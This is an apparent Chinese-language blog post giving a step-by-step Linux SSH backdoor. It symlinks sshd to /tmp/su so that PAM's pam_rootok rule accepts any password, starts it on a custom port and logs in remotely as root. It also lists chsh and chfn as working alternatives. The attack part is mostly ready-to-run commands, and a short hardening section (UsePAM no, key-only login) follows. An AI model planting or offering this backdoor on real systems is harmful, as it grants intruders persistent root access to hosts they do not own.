linux任意版本ssh远程后门利用

原理:

    1:ssh默认调用了PAM进行身份验证
    2:PAM是linux系统中的一个独立的API(应用程序接口),他提供了各种验证模式模块
    3:PAM的认证文件系统都统一存放在/etc/pam.d目录中
    4:SSH的认证文件应该是/etc/pam.d/sshd,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登陆
    5:通过软连接的方式,PAM认证实质上是通过软连接的文件名/tmp/su,在/etc/pam.d目录下找到对应的PAM认证文件
    6:SSH的认证文件被改为了/etc/pam.d/su

实施

#创建软连接,并启动(注意名字一定要是su)
[root@CQ-BGP ~]# which sshd
/usr/sbin/sshd
[root@CQ-BGP ~]# ln -s /usr/sbin/sshd /tmp/su
[root@CQ-BGP ~]# /tmp/su -oport=12345

#远程连接,随便指输入个密码就可以登陆
    ssh root@123.123.123.123 -p 12345

试验总结

    1:Linux软连接ssh后门需要ssh配置允许PAM认证才能使用
    2:如果被控主机不允许root登陆可用其他已存在用户登陆
    3:通过软连接的方式,实质上PAM认证是通过软连接的文件名(如:/tmp/su,/home/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如:/etc/pam.d/su)
    4:任意密码登陆的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置即可SSH任意密码登陆,实践表明,可成功利用的PAM配置文件除了su还有chsh、chfn

防御SSH软连接后面的方式(加固方式)

    1:关闭pam认证
    UsePAM no
    2:关闭口令认证,开启使用key登陆
    PasswordAuthentication no   #关闭passswd登陆
微信打赏微信打赏

如果文章对你有帮助,欢迎点击上方按钮打赏作者

最后编辑于:2022/11/24作者: 辣条①号

现在在做什么? 接下来打算做什么? 你的目标什么? 期限还有多少? 进度如何? 不负遇见,不谈亏欠!

暂无评论

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

arrow grin ! ? cool roll eek evil razz mrgreen smile oops lol mad twisted wink idea cry shock neutral sad ???